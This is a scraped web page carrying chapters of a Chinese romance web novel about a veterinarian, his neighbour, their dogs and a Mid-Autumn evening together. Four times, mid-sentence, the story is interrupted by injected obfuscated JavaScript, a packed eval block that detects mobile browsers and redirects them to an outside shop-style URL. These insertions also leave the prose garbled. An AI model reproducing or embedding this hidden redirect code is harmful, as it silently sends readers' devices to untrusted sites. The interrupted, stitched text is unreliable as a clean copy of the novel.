p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497954|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“谢谢爸。”陶诺将买的上门礼放到了玄关柜上,“中秋节快乐。” “乖。”胡馨芸将东西拿去放在茶几上,“你看诺诺多懂事。” 常兴涛也很客气:“有空就多过来坐坐,自己家里头,不用破费买这些东西。” “好。”陶诺点头,但下次依然会如此,他从不空手上门。 “陶诺来了。”一个半大少年拿着手机窝在沙发上,抬头瞄了一眼,继续低头玩游戏。 “叫哥,哪有直接叫名字的。”常兴涛轻踹了常飞一脚。 常飞撇嘴,低低又叫了一声:“哥。” “诶。”陶诺应了,“小飞也放假了?” 常飞没答,一只耳朵里塞着耳麦,正在跟队友对线。 “人到齐就开饭吧。”胡馨芸招呼着,“小飞,去拿碗筷。” “我来吧。”陶诺主动去厨房数了四副碗筷。 一桌常规家常菜,应了节日的景,中间叠放了一盘月饼。 陶诺不多话,有问就答,照例是万年不变的话题。 “工作忙不忙?” “最近生活怎么样?” “有没有谈恋爱?” 看起来真是和谐温馨的一家人,只是在座各人心里都清楚,不过是客气又疏离地在维系表面的平和。 陶诺食不知味的应付完了这一顿,给常兴涛父子打过招呼就准备离开了。他们也不多留,都知道陶诺还要走他亲爸那边去。 胡馨芸把一盘月饼重新包起来塞给他:“都没动过,带回去吃。” 陶诺顺从接过。 胡馨芸送他进了电梯,电梯门关,陶诺长吁一口气。 晚上在父亲陶汝杰家里吃饭。 同样的进门方式,同样的客套话,陶诺熟练地又重复了一次。 “哥哥——”陶真真蹦过来抱住陶诺,这个同父异母的妹妹从小就格外喜欢他。 “让你哥哥先进门。”继母庄洁把切好的水果递过来。 “谢谢妈。”陶诺叉了颗葡萄吃。 “到了?”陶汝杰摆了茶台正在冲泡工夫茶,头一偏,“过来坐。” 陶诺在对面坐下,陪陶汝杰喝完了一遭,父子俩全程无言。 开席,照样是四个人,四副碗筷。 话题避不开的重复,好在这边多了个话痨陶真真,时不时冒出一些让人啼笑皆非的发言,饭桌上多了些许笑声。 临走,庄洁递给陶诺装了几只大螃蟹的袋子:“你爸让你带回去吃。” 陶诺接过谢了。 陶诺左手一袋月饼,右手一袋螃蟹,坐着公交慢慢摇回家。 到了站点,陶诺跳下车,沿着熟悉的街道往小区走。 行人不多,天上满月如盘,路边桂花飘香,城市的万家灯火渐渐亮起,是浪子们心之归处。 兜里的手机响起,陶诺拿起来看是费远洲的信息。 Ansel:【我到了】 费远洲原本是计划上午到的,临时有事耽搁到了下午,又遇上转机晚点,这会儿才落地。 陶诺不由自主地笑了,回复:【我也马上到家了】 Ansel:【看来还不晚】 陶诺:【不晚什么?】 Ansel:【抬头】 陶诺正纳闷抬头干什么,费远洲拨了电话过来。 陶诺一边接起一边抬了头。 小区大门不远处,一个高大得让人无法忽略的身影,长长的风衣被拂过的夜风掀起一角。 费远洲低沉的嗓音犹如救赎般钻进陶诺的耳朵:“今晚可否有幸,邀请陶诺先生一起,”他目光定定地注视着远处的陶诺,“……赏月。” 14. 月亮 陶诺鼻子有些发酸。 费远洲不过是出差回来,碰巧在小区门口而已,怎地会有一种对方是在等自己回家的错觉。而这种错念,让陶诺在心跳加速的同时,险些没绷住眼泪。 “是什么?”费远洲问他手里的袋子。 陶诺拎到费远洲面前:“爸妈给的,月饼和螃蟹。” “正好,赏月时候吃。”费远洲推着行李箱,和陶诺一同踏着月色回家,“还想吃什么?” 陶诺摇头:“没胃口。” “怎么回来这么早?”费远洲问。 “那你为什么回来这么晚?”陶诺反问。 费远洲停下脚步看他,陶诺自顾往前又走了两步,发觉身旁的人没跟上,这才停下回头。 两人都没回答对方的问题,却在视线相接的一刹都笑了。 陶诺依旧不适应跟费远洲对视太长时间,匆忙转过身继续往前走。 “我爸妈很早就离婚了,然后又各自成了家。”陶诺耸了耸瘦削的肩膀,“我从小就没跟他们一起生活过,待久了不自在。” 不止如此,在父母家里,陶诺没有归属感,甚至觉得时常被提醒:你是个外人。 费远洲沉默地跟在他身后半步距离,没说话。 陶诺知道,他在听。 “每个节日我都要两边跑,你能理解吗,那种……像必须完成的一种仪式?或是程序?一到节日就必须开启。”陶诺声音低了下去。 费远洲依旧什么也没说,只是步子迈大了些,手臂环过陶诺身后,用力捏了捏他肩膀。 “没关系,我很好。”陶诺感受到对方掌心的温度,烫得他心率紊乱,不自然地快速往前走了几步。 费远洲手掌落空,在空气中虚虚抓握了一把,看着自己的手无声笑了一下。 “吓到你了吗?”他小声低喃。 两人默默等候电梯,门开又关。 一个抱着大号微波炉的男人跟在后面也上了电梯,看他腾挪不出手,费远洲问:“几楼?” “六楼,谢谢。”男人一上来,就占据了一大半的空间。他挪动步子想要转身面朝向门,不小心碰到了边上的陶诺,慌忙道歉,“抱歉抱歉,不好意思。” 费远洲帮他按了楼层,拉过陶诺到自己身后,背对着将他挡在了角落里。 陶诺抬头,看费远洲宽阔的后背像堵墙似的把自己圈在安全区域内,灯光打下的阴影将他全部笼罩其中。 六楼到了,男人带着他的微波炉下去了,电梯里只剩下他和费远洲。 费远洲往前移了一步,阴影从陶诺身上撤开,陶诺却跟着费远洲也往前了一步,依然站在他的影子里。 十二层到了,费远洲走出电梯,陶诺跟在身后,自娱自乐地玩着踩影子的游戏。 “你把……”费远洲猛然转身,陶诺埋头就扎进了对方怀里。 一时羞恼,陶诺半天抬不起头来。 费远洲半拥着他,直到走廊的声控灯熄灭。 周遭陷入一片黑暗,只有费远洲身上的味道直往鼻子里钻,好似是洗衣液的香味,又像是衣服纤维本身气味,总归是很好闻,陶诺很想辨别清楚那股味道,没忍住用力深深一吸…… “陶诺,你在闻什么?”一开口,灯亮了,走廊恢复明亮。 陶诺退开了几步,头仍是低低的:“那个……你、用的什么香水?” “我身上有异味?”费远洲抬手嗅了嗅,回忆自己在路途上是不是沾到了什么。 “不是,不是。”陶诺摆动双手否定,“是很好闻的味道。” “是吗?”费远洲语气带笑,“我从不用香水,可能是……”他故意一顿,“我自己的味道。” 自己的味道,那不就是费远洲皮肤上透出来的吗?陶诺的头垂得更低了,脸红得能滴出血来。这多冒犯,跟月饼似的。 “我、我先、先回去了。”陶诺转身就逃。 费远洲叫住他,接上没说完的话:“带上月饼和凯撒过来。” “哦、哦。”陶诺迅速开门,砰一声关上。 费远洲无声地笑着摇了摇头,给陶诺发去微信。 Ansel:【直接进门就好,大门密码你知道的】 陶诺托着发烫的脸在玄关平复了许久。 换了身卡通家居服,陶诺牵着月饼和凯撒到1202门口。他照常敲了敲,没人应。费远洲先前打过招呼,陶诺便输入密码开门进去了。 客厅灯亮着,不见费远洲身影:“费先生?” 陶诺放开了两只狗,看月饼跟着凯撒去了露台,陶诺便也去露台看。 露台上放了上次的那张圆桌,很有讲究地铺了桌布,桌上已经放了一盒干果拼盘和一盘水果切盘,还摆上茶台、茶具,看起来费远洲像是打算泡茶。 地上丢着大小不一的彩色灯笼,月饼已经追着圆形灯笼玩上了。 “月饼!Stop!”陶诺赶紧上前阻止要对灯笼下狗嘴的月饼,“不许咬!凯撒,过来教教你傻兄弟。” 陶诺对凯撒示范,用手轻轻碰了一下灯笼,随即收回手。 凯撒蹲坐着有样学样,也伸爪轻轻碰了一下灯笼,然后落爪收回。 “真乖!”陶诺笑着摸凯撒的头表扬,又转头对月饼绷着脸道,“饼饼,看见了没,只能轻轻碰,不准咬!” 沉沉的笑声从身后传来,费远洲换了丝绸家居服,靠在露台门边正拿着毛巾擦头发。 陶诺被笑得有点尴尬,该不会落在对方眼里自己跟狗子们是一桌的吧。 “你找到方法了。”费远洲饶有兴趣地看着这一幕。 “你之前说的,让凯撒带着月饼,我趁这两天试了试,真的有效!” “嗯。”费远洲嘴角噙笑。 陶诺“呀”了一声跳起来,刚进门的时候顺手把月饼和螃蟹放玄关了,他解释:“我去把东西拿进来。” 陶诺从费远洲身边跑过,费远洲侧身让他,沐浴露的香气裹了陶诺一身。 费远洲拖来三张椅子,在其中一张上放了上次社区活动兑换回来的兔子玩偶,没等陶诺问,费远洲先说了:“热闹。” 没想到一本正经的人竟还有些童趣。 两人两狗,外加一只兔子玩偶和一地的七彩灯笼,的确够“热闹”的了。 “我去烧水泡茶,同事送了很好的茶叶。”费远洲起身,衣角被拉住。 陶诺动作比嘴快,抓了人衣角又立即放开:“有其他喝的吗?”他在陶汝杰那儿已经喝了一肚子茶,不想再喝。 “不喜欢?”费远洲想了想,“除了茶叶,他还送了糯米酒,要喝吗?” “嗯,可以。”陶诺点头。 费远洲在玻璃杯里倒满糯米酒,还撒上了干桂花:“之前看做桂花酿的时候这么弄,试试看。” 陶诺浅浅啜了一口,甜酒混着桂花香入喉,他眼睛亮了亮:“好喝。” “好喝就行。”费远洲也尝了一口,点头认可。 月亮渐渐升高,银盘像被水洗过一样明亮。 月饼大概玩累了,和凯撒并排趴着,它今晚倒是乖巧,居然没来桌边守吃的。 露台一圈种满了费远洲买回来的花草,在夜风里轻轻摇曳,生机勃勃又无比祥和。 “天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497955|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阶夜色凉如水。”陶诺忽道。 “冷了?”费远洲进屋拿来一张薄被。 “也……还好。”陶诺只是脱口而出,不是真的冷,但既然拿过来了也就接了,“谢谢。” 费远洲又塞过来一个薄垫子:“垫椅子上坐,舒服些。” 陶诺也接过道了谢:“费先生,你真细心。” 费远洲自己也垫了个垫子坐下:“可能受母亲影响。” 他不太主动提母亲,唯有的两次都是中秋前后,想来是真的很思念她。 “你妈妈……”陶诺犹豫了一下,“她是什么样的人?” 费远洲沉默了几秒,陶诺以为自己不该问,正要岔开话题,费远洲却又开口了。 “她喜欢读书,喜欢养花,喜欢在花园里一边晒太阳一边念诗给我听。她走的那年我十五岁,病逝,来势汹汹,没太多时间跟我告别。不过也好,她没受太多罪。”费远洲三言两语,平静地讲述着曾经一度走不出来的那段时光,“她说,无论以后在哪里,要记得多看看月亮。” 陶诺没有说话,把捏在手里的玻璃杯轻轻放回了桌面,怕惊扰到他。 费远洲抬头看向夜空中那轮温润的圆月:“她说‘无论在哪里’,但我觉得她可能更想说的是‘在故国,看故乡的月亮’。” “所以你执意回国了?”陶诺问。 费远洲摇头:“不是执意,是如愿。” 陶诺又给自己满上了一杯糯米酒,一口气喝了,随后低下头,手指在空杯边缘慢慢转动。 “其实我已经独自生活了十多年。爸妈离婚的时候,我还不会说话,一直是外婆带着我。长到上幼儿园,外婆走了,我就没家了。”陶诺在笑,眼眶却红了。 “从幼儿园开始,我就是寄宿。只有在各种节假日,爸妈才会把我接到他们家里去,一起吃一顿饭,然后又送我回来。” “他们……对我不坏,因为我从小就衣食无忧啊。”陶诺冲着费远洲努力地笑,“你知道吗,我生活费比其他同学都高,想吃什么想要什么,从不犯愁。他们尽力给足了我物质条件。” “他们……并没有亏待我,对吧?”他心里早有答案,却偏要费远洲认同。 “我也很自由,中考、高考,大学专业,我只要能考上,他们都不管,随便我自己做主。你看,他们对我不坏,是吧?” 费远洲往陶诺边上挪近,抓起他垂下的一只手握住。 冰凉的手滑入费远洲宽大而温暖的手掌中,轻轻一拢,便被包裹的严严实实。 “我没事,我很好。”陶诺脸颊泛了红,想要抽手,动了动没抽回来,只得任由费远洲握着,耳朵又灼烧了起来。 费远洲的手掌干燥有力,还有些厚度,手指并不光滑,粗糙的地方刮得陶诺手痒。 他试图延续话题:“他们要经营新的家庭,有新的生活,也不想新生活像先前那样再次破裂,所以有时候顾不上我很正常,我理解,我知足……” “不说了,诺诺。”费远洲轻拍他手背,“我们蒸螃蟹吃好不好?” 月光落在他脸上,灰蓝色的眼睛里映出陶诺的轮廓,俊朗的五官像跟月色借了温柔,脸上的笑意又像陶诺饮下的米酒,在身上暖融融地发酵。 陶诺用力点了一下头:“好。” 费远洲去厨房处理螃蟹,陶诺看着他的背影离开。 转回头,陶诺又给自己倒了满杯。 他举起那杯米白色的酒液对着头顶的月亮一邀,又朝那只一动不动的兔子玩偶低手,最后转过身看向厨房忙碌的身影,垂眸笑道:“对影成三人。” 一口喝尽。 15. 肩宽 费远洲等螃蟹蒸熟的时间里,给杨薪发去了信息。 Ansel:【糯米酒不错】 杨:【我就说了,这是好东西】 Ansel:【还有吗?】 杨:【不是,你还能喝上瘾?】 Ansel:【告诉我在哪里买?】 杨:【不是说不如你的葡萄酒吗】 Ansel:【葡萄酒不错,糯米酒也不错】 得到直接肯定,杨薪满意了。 杨:【买不到,我家人自己酿的,下次给你多留一些】 Ansel:【多谢】 正题说完,杨薪憋不住开始八卦。 他跟费远洲同岁,已经成了家,有了一个可爱的女儿,而费远洲在公司连个恋爱绯闻都没有。上次一起出差,好不容易捕捉到一点苗头,人类的好奇心真是可怕。 杨:【上次思念你的人怎么样了?】 费远洲原不打算谈论这个,抬眼瞟向露台上独酌得有滋有味的人影,低低笑了一声。 Ansel:【他喜欢你的糯米酒】 杨:【原来如此】 杨:【好事将近哦】 费远洲没再多说,送上了中秋祝福。 “费先生,你会蒸螃蟹吗?”陶诺浑身燥热,摇摇晃晃钻进了厨房。 陶诺喝完了费远洲拿出来的三瓶米酒,脑子放空了一会儿,忽然想到费远洲一直生活在国外,怕是没吃过大闸蟹,更不会处理大闸蟹。 “我会搜索。”费远洲从冰箱里拿出一瓶冰水递给陶诺。 陶诺要拧开喝,费远洲阻止了,用瓶身贴了贴他的脸:“这个冰脸。”转身从储物柜另外拿了一瓶常温的,“喝这个。” “哦。”陶诺反应慢了半拍,但头脑十分清醒,他眯着眼睛笑,“微醺,微醺。” 糯米酒的度数很低,费远洲见他虽然看起来有些迟钝,但口齿清晰眼神清明,信了他。 在陶诺的指挥下,费远洲调好了姜醋。 陶诺眨巴着大眼睛,对费远洲橱柜里的各种调料瓶啧啧称赞:“好齐全。”比自己家的全多了。 热腾腾的大闸蟹端上了桌,蟹黄的香气在露台上散开。 月饼和凯撒闻到了气味,围了过来。 “这可不能给你们吃。”陶诺拿起一只给月饼嗅嗅又拿走,“闻过就好。” 惹得狗子跳脚吠。 凯撒一如既往地规矩,一静一动,对比鲜明。 费远洲笑着摇头,找了两包狗狗零食拆开分给了两只。 陶诺的确是微醺了,两颊飞着坨红,指着费远洲嗔怪:“费先生,你这样会惯坏月饼的!” 费远洲反问他:“还能怎么坏?” “呃、呃……”陶诺语塞,月饼明明是被他自己给惯坏的。 无话可说,只得狠狠掀了螃蟹的壳,黄澄澄的油脂流了满手。 费远洲赶忙拿纸,陶诺动作更快,手指往嘴里一吮,舌尖伸出一小截,舔去油光。 费远洲手一蜷,纸巾被捏成了团。 “费先生,你不吃吗?”见他没动,陶诺好意提醒,“趁热。” 费远洲扔了纸团,拿出最后两瓶糯米酒放桌上。 “还有啊!”陶诺准备擦手倒酒,“你是不是还偷偷藏了不少,怕我给你喝完了?” 费远洲没让他动手,替他倒好一杯:“不许多喝,一人一瓶。” 陶诺答得脆生生:“好。”咔嚓掰断螃蟹,也脆生生的,递给费远洲一半。 “费先生,你以前都是吃海蟹吗?”陶诺今天话特别多,“吃大闸蟹跟海蟹应该不一样,文明一点的吃法呢,是要用工具把肉给挑出来。大众的吃法……” 陶诺以为费远洲无从下口,自己先做了个示范,去除了不能吃的部分后,蘸了姜醋,直接把大闸蟹放嘴里咬。 鲜嫩的滋味让陶诺夸张地咂巴嘴,还不忘招呼费远洲:“试试。” 费远洲很给面子的同样咬了一口,也咂巴了一下嘴,说:“嗯,香。” 陶诺满意地笑了,吃了蟹身里的肉,又把蟹腿掰下来:“腿放凉一点,最后再处理。” 他一口螃蟹一口米酒,月上中天的时候,螃蟹吃完了,米酒也喝光了,瘫在椅子上呆呆地望着天。 费远洲关掉了屋子的所有灯光。 酒蟹飘香,虫鸣相伴,清冷的月辉落在陶诺的侧脸,泛红的脸颊粉透了。 此时安静极了,安静得能听到均匀的呼吸声。 蓦地,陶诺忽然站起:“我回去了。”摇摇晃晃地走了两步,又转身招手,“饼饼,回家。” 月饼不知什么时候蹭到了费远洲脚边,下巴搁在他膝盖上,听见陶诺叫它,抬了下眼皮。 这副模样惹得陶诺心里不是滋味:“饼饼,你有自己的家。” “没关系,看样子它今天想留在这里。”费远洲伸手摸了摸它的头,它舔了下费远洲的手。 “饼饼,连你也觉得我……多余吗?” “陶诺,你喝太多了。”米酒度数低,但也还是酒。 陶诺眼里看起来仍旧清明:“今晚,谢谢你。” “谢什么?” 当然是谢谢陪伴,没有追问“还好吗”或者安慰“没关系的”,只是替他续了一杯又一杯糯米酒。 但陶诺什么也没说,只是再次重复:“谢谢。” 凯撒趴在地上,耳朵转动了一下。 远处有人放了孔明灯,飘得很高,几乎要飘到了月亮上。 “今晚的月亮真好看。”陶诺脸上挂着一层薄薄的银色,他看着费远洲,“下次赏月我们泡茶。” “好。”费远洲回望,应下了承诺。 陶诺留下了月饼,独自回到了1201。 推开自家露台门,陶诺看向隔壁露台,费远洲已经不在了,屋里重新亮起了灯。 陶诺深呼吸,心情无比舒畅。 点开墨阁,他发了自己的第一条帖子:“但愿人长久,千里共婵娟。” 洗完澡回来,帖子多了远行客的赞。 远行客也发了贴,一张繁星满天的照片。今天是中秋,大家都在发月亮,他却避开圆月,将焦点对准了点点星辰。 又因为避开了月亮,这些被抢夺了光芒的星星,绽放出了原本属于它们的璀璨。 这张照片的点赞和评论都非常多,被顶上了论坛首页。 【这个角度好特别啊】 【别说,我今晚都没看到星星】 【楼上那位,没看到星星是你眼神不好】 【回复3楼,朋友你在哪儿啊,有没有可能是云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497956|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层厚呢】 【云想衣裳花想容,春风拂槛露华浓】 【楼上,你走岔了】 …… 陶诺在一众评论中切到私信界面。 夜航船:【你发的星空好美,让我想和你私奔到银河系】 远行客:【你醉了】 夜航船:【微醺,米酒还能醉人?笑话!】 远行客:【早点休息,很晚了】 夜航船:【今天不想看腿?】 费远洲:…… 隔了好一会儿没动静,陶诺又发:【中秋快乐】 远行客:【中秋快乐】 果然是不想看腿。 夜航船:【你上次一起吃火锅的朋友……】 远行客:【怎么了?】 夜航船:【你也看过他的腿吗】 费远洲拿着手机笑出声,简直不敢想象看杨薪腿的场面,打字回复:【没有】 陶诺晕乎乎的脑子被这两个字净化了不少。 夜航船:【我其他地方也好看】 再不阻止这位,怕是会做出不可挽回的事情来。 远行客:【快睡了,我也准备睡下了】 陶诺困,但不想睡,他在床上滚了两圈,把被子裹成了一个圆桶卷住自己。 夜航船:【你腿也好看,好长】 远行客:【你见过?】 夜航船:【看你照片就能想象】 看来是跟腿过不去了。 远行客:【还想象过什么?】 夜航船:【你肩好宽】 远行客:【肩宽不好?】 陶诺咬着下嘴唇笑得痴痴:【肩宽好】 夜航船:【好挂腿】 费远洲的手指停在屏幕上,看着这一连串的话哭笑不得,一时不能确定是米酒的问题还是怪自己不该让他喝这么多。 远行客:【快睡了,再说下去你该睡不着了】 夜航船:【为什么】 远行客:【那要试试挂腿吗?】 陶诺仗着对方不知道自己是谁,勇的气势汹汹。 夜航船:【来,试试就试试】 过了十几秒,敲门声突然响起。 陶诺从床上吓得炸了起来,不会吧,来真的。 他光脚踩在地板上,摸到门后从猫眼望出去—— 费远洲就站在门口! 陶诺头皮发麻,完蛋,费远洲什么时候知道的?没脸见人了。虽然自己是喜欢对方,可这些虎狼之词他只敢线上说,现实里给他十个胆,他都不敢在当事人面前讲。 费远洲等了一会儿,也没继续敲,把东西挂在门上就回去了。 手机响,陶诺一把捂住往肚子里塞。 是微信的提醒,陶诺拿出来偷摸看。 Ansel:【出差给你带了小礼物,挂你门上了】 陶诺闭了闭眼,长吁一口气,幸好。 陶诺轻轻拧开门露了个缝,看见门把上果然挂了个袋子,他伸手出去拿了进来。 打开来,是一套极有设计感的餐具。 费远洲出差的那个城市以瓷器闻名,他自购了一套,想着陶诺不做饭,便只给他选了一套早餐用具。 餐盘、牛奶杯,两个小方碟,外加一只勺子,还有一张餐垫,都是成套的两份。 16. 凯撒 第二天依然是假期,陶诺要去医院值班。 即使已经确定昨晚费远洲上门只是巧合,但陶诺还是心虚,又开始躲着费远洲。 陶诺:【这两天我要上夜班,能帮我照看下月饼吗】 Ansel:【好】 陶诺早出晚归,跟费远洲好几天没见了。 前面两天还好,费远洲得空的时候会顺手拍月饼和凯撒的照片给陶诺。 陶诺会回复:【麻烦你了】【谢谢】 后面几天,费远洲发给陶诺的每张照片都会附带一句话: 【吃了】 【拉了】 【出门玩】 【想你了】 陶诺盯着对话框最后三个字出神。 国庆将至,节前忙碌,医院里确实忙得不可开交,不知不觉陶诺连续值了一个星期的夜班。 门对门,跟费远洲也有一周没见了,月饼彻底成了留守儿童。 林珊国庆期间办婚礼,本来想要陶诺作为她娘家亲友团的一员,但陶诺根本没时间参与繁琐的彩排。林珊自己也受够了各种流程,被折磨了两晚后,她让婚庆公司取消了中间不必要的一些仪式。 林珊:“到时候就爸妈那块走一下流程就够了,长辈们嘴上不说,还是在意这个的。” 陶诺趁休息空档跟林珊通了会儿电话。 陶诺:“国庆我这边也有活动,我待一会儿就得走。” “没事,我懂,这种场合你不自在,而且我可能也照顾不到你。”林珊有心无力地叹了口气,“没想到结婚这么累。” 林珊:“诶,对了,你想过以后结婚吗?你们的话得去国外登记吧?” “嗯,如果有那一天的话,”陶诺自己也不确定以后的事,国内民政局也不管他们这档事,“再说吧。” “你跟你的费先生最近怎么样了?”林珊问。 “还那样。” “哪样啊?” “聊着呢。” “我怎么听你语气有点不自信呢?” 倒也不是不自信,就现在这个情况,陶诺也不清楚费远洲对自己到底是个什么感觉,说不定对夜航船的好感大过对陶诺本身。 陶诺沉默了一会儿没说话,林珊又问:“你打算什么时候告诉他?” “什么?” “你喜欢他啊?要不然你绕这么大圈干嘛?” 夜航船倒是说了,陶诺嘛……好像越来越不敢说了。 “陶医生,费先生来了。”小盼敲开陶诺的诊室门。 陶诺匆匆挂断了电话。 怎么回事,费远洲来干嘛? 陶诺在诊室里低头转了一圈,心绪纷乱,诊室门再次被敲响。 “进。”陶诺架上金丝眼镜框,坐回了位置上。 “陶医生。”费远洲带着凯撒进来。 “凯撒!你怎么来了。”谁会不喜欢大帅狗呢,陶诺立即蹲过去捧住凯撒的两腮搓揉。 费远洲低低的笑声落在头顶。 陶诺收回手,扶了扶眼镜框:“费先生,你带凯撒过来是它哪里不舒服吗?” “没有。”费远洲缓缓道,“好几天不见你了,过来看看。” 陶诺想起在医院第一次见费远洲的时候对方也这样说。 “凯撒该做复查了。”费远洲又说。 “啊,对。”陶诺应道。 “陶诺。”费远洲叫他名字,陶诺下意识被叫得有点紧张。 “啊?” “开始吧。” “哦,好。” 陶诺收拾情绪,切换到陶医生模式。 先是常规的体重、外观目测的检查。之后,陶诺安抚地摸了摸凯撒脑袋,依然是从后背往下慢慢摸,最后按压四肢关节,重点在先前有伤的左后腿。 他的动作一如既往的轻,手也依旧很稳。 “我都按你说的,坚持热敷,每次十分钟。”费远洲盯了一会儿陶诺脸上那副宽大的眼镜。 眼镜并不适合陶诺,他脸小眼睛大,镜框太大,几乎挡了他半张脸。不过,费远洲倒是从中看出了别的趣味,呆萌,就是这个词,杨薪说他女儿的时候总提,费远洲没有实感,看见眼前陶诺这个样子,瞬间代入了。 中文真是博大精深。 “挺好,没有变僵硬。”陶诺检查完毕,“不过韧带这个问题没办法恢复如初,只能坚持保养,等凯撒年龄大一点或许会少受一些苦。” 陶诺敲键盘记录病历,费远洲盯着他翻飞的手指,忽道:“陶医生,我有个问题。” “嗯?”陶诺扶了下眼镜回头。 “为什么你摸狗的时候手那么稳,碰到人的时候就那么抖呢?” 陶诺没理解。 费远洲朝他伸出手:“试试。” 陶诺才反应过来,哪里是碰到人会抖,是碰到费远洲抖而已。 费远洲的手还伸着,骨节分明,宽大而有分量。 陶诺知道被这只手触碰的感觉,那种被小心护住的感觉,如同筑起坚实堡垒。 陶诺最终还是没敢伸手。 “费先生,我之前没问过,凯撒这个旧伤是怎么来的?” 费远洲没有立刻回答。 “如果不好讲也没关系,就是……好奇。”陶诺道。 之前陶诺就有过疑问,凯撒才三岁,理论上来讲正是警犬的黄金年龄,怎么就退役了呢?跟凯撒接触下来,它情绪稳定,既不胆小也没有强烈的攻击性,大概率只能是因为这个韧带的问题。 “执行任务的时候,它的训导员牺牲了。”费远洲沉沉开口,“凯撒,来。” 凯撒回到费远洲脚边,端正坐好,费远洲手掌落在它头顶,轻轻拍了两下。 他继续讲:“歹徒躲在仓库三楼,凯撒找到了位置,本来他的任务到这里就完成了。” 费远洲一下下抚摸着凯撒,从头捋到后背:“他们告诉我,当时没人发现歹徒藏了枪,凯撒闻到了枪械火药味,便开始狂吠,等大家反应过来的时候,训导员已经中枪……” 之后凯撒失控,冲上去死死咬住歹徒持枪的手,一人一狗撕扯摔打,从三楼掉了下去。凯撒也算幸运,除了外伤,就只是韧带伤了而已。 陶诺双手都不自觉捏成了拳头:“那个歹徒呢?” “手腕当场咬断了。” “所以凯撒因为韧带伤就退役了?” “是,但不止是韧带。凯撒患上了PTSD,对枪声过于敏感,或者说是对类似枪声的噪音,会表现出非常强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497957|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回避。”费远洲说,“测试结果出来,它已经不符合做警犬的标准了。” 陶诺低头看向凯撒,依然是威风凛凛的黑背,锐利的眼神里闪烁着聪慧的光,完全看不出来它竟然有创伤应激障碍。 费远洲说:“领养凯撒的时候我住城中心,那里不能养德牧这种大型犬,所以才搬到了现在的这个小区。” 陶诺又沉默了一会儿,忽道:“对不起。” 费远洲抬头看他。 陶诺过去蹲下,轻轻环住凯撒,用了一个拥抱的姿势,他拍着凯撒的后背:“凯撒,你很了不起。” 又对着费远洲说:“对不起,我不知道凯撒对声音过敏,之前给你们带来很大困扰吧。” 费远洲摇头:“没关系,你和月饼的那点声音达不到那种程度。” 有没有达到总归也是不好,陶诺保证:“以后我们一定安分守己。” “好。凯撒很开心能交到月饼这个朋友。” “月饼也很开心能遇到凯撒。” 两人对视一笑。 “什么时候下班?”费远洲问。 陶诺嘟了嘟嘴:“还早,我得值夜班。” “夜班还没结束?” “快了,到国庆。” 国庆也没两天了,费远洲没再问,带着凯撒离开了。 没几分钟,费远洲折了回来。 他放了个手提袋在陶诺桌上:“晚上饿的时候可以吃。” “是什么?” 费远洲没回答,挥挥手再次离开了。 他前脚走,小盼后脚就溜进了陶诺的诊室:“陶医生,你跟费先生关系不错啊?” 邻居嘛,互帮互助而已。 就像之前费远洲帮他修吸尘器,他陪费远洲参加社区活动。 之后费远洲帮他洗月饼、煮面条,他再陪费远洲逛花市。 他带回了螃蟹,费远洲拿出糯米酒,两人一起赏月过中秋…… 一切都有来有回。 有来有回。 陶诺松垮着双肩,费远洲对自己果然没有那个心思。 他看着摆在桌上的保鲜盒:肉沫蒸蛋、香煎鱼、蔬菜沙拉和一碗蓝莓。费远洲的微信也随后就到。 Ansel:【别有负担,我自己吃的,分了一半给你】 陶诺:【谢谢】 费远洲出差还给他带了一套早餐餐具,应该是感谢自己帮忙照顾凯撒吧。 这次自己该回个什么礼呢? 想了半天,陶诺挫败地给林珊拨去电话,毕竟他身边也只有林珊这一个有恋爱经验的朋友。 “你都不知道他缺什么,喜欢什么,你要怎么送?”林珊一针见血。 “诗词,他喜欢中国诗词,我买本诗词集送他?” “你当这是送同学吗?”林珊大大叹了一口气,“你送他东西,得让他在这礼物里知道你不一样的想法。最好是送他喜欢又比较特别的,还能带点暧昧色彩就更好。如果不知道他喜欢什么,那就送实用的,总归错不了。” “什么东西能有这种色彩还实用?” “贴身的呗。” “到底什么?”陶诺是真想不出来。 “内裤啊!” 陶诺:“……” 17. 衬衫 内裤是送不了的,不过这倒让陶诺有了新灵感。 他想起社区活动时费远洲穿的那身中式风格的衣服,对方对中国的情怀不一般,不如送件衣服。 跟林珊一合计,联系了之前定制衣服的那个店。 